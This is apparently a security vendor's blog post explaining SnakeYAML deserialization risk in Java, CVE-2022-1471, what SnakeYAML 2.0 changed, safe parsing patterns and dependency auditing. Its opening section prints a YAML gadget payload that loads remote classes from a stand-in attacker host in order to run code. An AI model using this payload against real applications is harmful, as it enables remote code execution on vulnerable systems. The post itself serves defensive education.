Safeguard
AppSec

YAML Parsers in Java: SnakeYAML Deserialization Risks Explained

Choosing a YAML parser in Java means choosing a deserialization posture. How SnakeYAML's CVE-2022-1471 worked, what changed in 2.0, and how to parse YAML safely.

Priya Mehta
Security Analyst
7 min read

If you need a YAML parser, Java gives you essentially one engine — SnakeYAML — and the single most important thing to know about it is that versions before 2.0 would happily instantiate arbitrary Java classes from a YAML document, which is how CVE-2022-1471 turned config parsing into remote code execution. Jackson's YAML module, Spring's configuration loading, and most "alternative" libraries all delegate to SnakeYAML underneath, so this is not a niche library decision. It is the deserialization posture of a large share of the Java ecosystem.

This post explains why YAML parsing is a deserialization problem rather than a text-processing problem, walks through the SnakeYAML vulnerability class, and gives concrete patterns for parsing YAML safely on both the 1.x and 2.x lines.

Why YAML parsing is deserialization, not text processing

JSON parsers map documents to a fixed set of types: strings, numbers, booleans, arrays, objects. YAML is more ambitious. The spec includes tags — type annotations embedded in the document itself — and SnakeYAML's default 1.x behavior honored a Java-specific extension of them:

# This is not data. It is an instruction to construct an object.
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.example/"] ]]
]

Handed to a pre-2.0 SnakeYAML new Yaml().load(...), that document does not produce a map of strings. It asks the parser to construct a ScriptEngineManager backed by a remote classloader — attacker-chosen classes, attacker-chosen constructor arguments, running inside your JVM the moment the document is parsed. The document is the exploit; no separate payload delivery step exists.

This is the same root problem as Java native serialization gadget chains: the input format lets the sender pick the types. Any library that accepts type information from untrusted input has to restrict which types are allowed, and SnakeYAML 1.x did not do that by default.

CVE-2022-1471 and what SnakeYAML 2.0 changed

CVE-2022-1471 formalized the issue: SnakeYAML's default Constructor class placed no restriction on instantiable types during deserialization, so any application calling load() on untrusted YAML was exposed to arbitrary object construction and, through known gadget classes, remote code execution. The fix shipped in SnakeYAML 2.0, released in February 2023.

The 2.0 line is secure by default in a specific, checkable way:

  • new Yaml() now routes through a constructor that extends SafeConstructor, so only primitives, strings, and basic collections (maps, lists, sets) can be produced from an untagged or standard-tagged document.
  • Constructing application classes requires explicit opt-in via LoaderOptions and a tag allow-list — the sender can no longer smuggle types in.
  • Global tags like !!java.net.URLClassLoader are rejected rather than resolved.

Earlier, the 1.x line had also accumulated a series of parser-level denial-of-service fixes (deeply nested documents and alias expansion could exhaust the stack or heap in versions before the final 1.3x releases), which is a second, quieter reason not to sit on an old version even where you control all input.

The migration cost is real but bounded: 2.0 changed constructor signatures (LoaderOptions became mandatory in several code paths), which is why so many teams stayed pinned on 1.33 long after the advisory. If that describes your codebase, treat the pin as an open risk item, not a settled decision.

Safe patterns on each version line

If you are on SnakeYAML 2.x — the default is already safe for untrusted input:

LoaderOptions options = new LoaderOptions();
options.setCodePointLimit(1_048_576);   // cap document size
options.setNestingDepthLimit(50);       // cap structural depth
Yaml yaml = new Yaml(options);
Map<String, Object> doc = yaml.load(untrustedInput);  // safe types only

If you genuinely need typed loading of your own classes, bind to one explicit root type rather than opening a tag allow-list:

Yaml yaml = new Yaml(new Constructor(AppConfig.class, new LoaderOptions()));
AppConfig cfg = yaml.load(trustedConfigFile);

If you are stuck on 1.x (a framework pin you cannot break yet), never call bare load(). Use SafeConstructor explicitly:

Yaml yaml = new Yaml(new SafeConstructor());   // 1.x: opt in to safety
Object doc = yaml.load(untrustedInput);

This is the single highest-value grep in a Java codebase review: new Yaml() with no constructor argument, on a 1.x classpath, fed anything a user or upstream system can influence.

If you parse YAML through Jackson (jackson-dataformat-yaml), you get a useful structural defense: Jackson uses SnakeYAML only for low-level event parsing and applies its own databinding on top, so YAML global tags do not translate into arbitrary construction. You still want SnakeYAML current for the parser-level DoS fixes, and you still need Jackson's own polymorphic typing (enableDefaultTyping and friends) left disabled.

Where untrusted YAML actually enters applications

Teams dismiss YAML deserialization because "we only parse our own config files." The inventory usually says otherwise:

  • CI/CD systems parsing pipeline definitions from user repositories — the canonical case, since every pull request author controls YAML your platform parses.
  • Kubernetes-adjacent tooling: admission webhooks, GitOps reconcilers, Helm-chart linters, anything that ingests manifests from tenant namespaces.
  • Import/export features — "upload your dashboard/workflow/rules as YAML."
  • SaaS webhook payloads and API bodies accepted as application/yaml.
  • Plugin and extension manifests loaded from third-party archives.

The 2013 Ruby on Rails YAML incidents (CVE-2013-0156) established the blueprint in another ecosystem: a parser honoring embedded type tags, reachable from an HTTP request, equals unauthenticated RCE. SnakeYAML 1.x was the same shape waiting in Java, and post-2022 scanning traffic confirmed attackers probing for it.

Finding vulnerable parsers in your dependency tree

Like embedded Tomcat, SnakeYAML rarely appears in your own build file — it arrives transitively through Spring Boot, Jackson's YAML module, testing tools, and countless libraries with a YAML config option. Resolving the real version:

mvn dependency:tree -Dincludes=org.yaml:snakeyaml
gradle dependencies --configuration runtimeClasspath | grep snakeyaml

Then check reachability, because presence and exploitability differ: a 1.33 pin used only by a test-scope tool is a different priority than one parsing webhook bodies. This is where an SBOM-driven software composition analysis workflow earns its keep — a scanner like Safeguard flags the vulnerable range transitively and shows which artifact dragged it in, and the transitive path usually surprises people. Spring Boot in particular shipped SnakeYAML 1.x until Boot 3.1 moved its baseline to 2.x, so "we upgraded Boot" is worth verifying rather than assuming; the same visibility problem applies to embedded Tomcat versions arriving through the same starters.

Upgrade sequencing that works in practice:

  1. Pin org.yaml:snakeyaml to 2.x at the dependency-management level and run the build; most failures are the LoaderOptions constructor change in your own code.
  2. For libraries that break against 2.x, check for a release that supports it before writing adapters — post-advisory, most actively maintained libraries added 2.x compatibility.
  3. Where a 1.x pin is temporarily unavoidable, enforce SafeConstructor at every call site you own and document the exception with an expiry date.

FAQ

What is the best YAML parser for Java?

SnakeYAML 2.x for direct parsing, or Jackson with jackson-dataformat-yaml if you already use Jackson databinding — Jackson delegates low-level parsing to SnakeYAML but applies its own stricter binding. There is no widely used pure-Java alternative engine; the meaningful choice is which safety configuration you run, not which parser brand.

Is SnakeYAML safe to use now?

Yes, on 2.0 and later, for untrusted input, by default: the default constructor only produces primitives and basic collections, and arbitrary class instantiation requires explicit opt-in. Versions 1.x and earlier are only safe when every call site uses SafeConstructor.

Does CVE-2022-1471 affect applications using Spring Boot?

Spring Boot's own configuration loading was not the practical concern — application code and libraries calling new Yaml().load() on external input were. Boot did, however, ship the vulnerable 1.x line transitively until the 3.1 era, so applications parsing YAML themselves inherited the risk from Boot's managed version.

How do I parse YAML in Java without deserialization risk?

Use SnakeYAML 2.x defaults (or SafeConstructor on 1.x), set code-point and nesting-depth limits, bind to one explicit root type for trusted config, and never enable tag-based polymorphic construction for anything a user, repository, or upstream service can influence.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.